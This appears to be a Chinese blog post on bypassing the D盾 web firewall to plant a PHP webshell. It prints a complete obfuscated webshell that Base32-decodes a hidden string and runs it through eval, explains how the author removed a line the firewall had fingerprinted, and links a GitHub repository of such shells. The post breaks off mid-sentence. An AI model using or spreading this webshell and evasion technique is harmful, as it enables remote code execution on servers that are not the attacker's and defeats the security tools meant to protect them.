如何绕过D盾防火墙getshell

发表于： 2021年1月19日 2021年2月16日
分类：免杀/waf绕过

目录[ Hide ]

0x00：简介
0x01：条件
0x02：免杀D盾
0x03：峰回路转

目录[ Hide ]

0x00：简介
0x01：条件
0x02：免杀D盾
0x03：峰回路转

0x00：简介

此篇文章仅讨论php

现在的D盾防火墙在我看来已经几乎无解了😓 （可能是因为我太菜）虽然在讨论如何绕过D盾getshell 其实怎么把shell传上去都是个问题...

虽然有点八股文但是确实有绕过的方法，可能以后能用到吧。

0x01：条件

既然是getshell肯定得能把shell传到服务器上，因此可以将shell传到对方服务器是先决条件，所以其实讨论的依然是流量的免杀。

0x02：免杀D盾

首先D盾是自带文件查杀功能的，所以肯定得先过D盾的静态文件免杀，检测是否过了免杀直接访问脚本文件就行，像下面这种就是被杀的。

我的上几篇文章都有涉及到如何绕过D盾，不过也就是前几天吧，我突然发现GitHub的马被标记了5级木马

***这怎么能行干他

经过我一番测试发现被加入规则的居然是if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e") 😂

反正这条要不要都无所谓啊去掉不就行了还有就是注释依然可以绕过D盾也就是最初的版本。

改动已同步到 https://github.com/pureqh/webshell

放到web服务器上访问一下

没有问题，手动测试一下能否执行命令

phpinfo测试通过试一下其他命令

返回空白然后到服务器看一下发现报了警告

看一下详细的告警

其实看到这个规则我大概已经知道D盾做了什么了但是还是抱着试一试的心态将流量混淆一下

Base32流量传输：

shell：

<?php
class XTGN{
public $YAWJ = null;
public $LJDR = null;
function __construct(){
$this->YAWJ = 'mv3gc3bimjqxgzjwgrpwizldn5sgkkbel5ie6u2uln5gk4tpluussoy';
$this->LJDR = @OJAD($this->YAWJ);
@eval("/*|NRPWpl*/".$this->LJDR."/*|NRPWpl*/");
}}
new XTGN();
function YJUO($GXTY){
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$SGKL = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($GXTY); $i < $j; $i++){
$v <<= 8;
$v += ord($GXTY[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$SGKL .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);}}
if ($vbits > 0){
$v <<= (5 - $vbits);
$SGKL .= $BASE32_ALPHABET[$v];}
return $SGKL;}
function OJAD($GXTY){
$SGKL = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($GXTY); $i < $j; $i++){
$v <<= 5;
if ($GXTY[$i] >= 'a' && $GXTY[$i] <= 'z'){
$v += (ord($GXTY[$i]) - 97);
} elseif ($GXTY[$i] >= '2' && $GXTY[$i] <= '7') {
$v += (24 + $GXTY[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8){
$vbits -= 8;
$SGKL .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);}}
return $SGKL;}
?>

这个马使用了自带的Base32函数加解密流量抓包看一下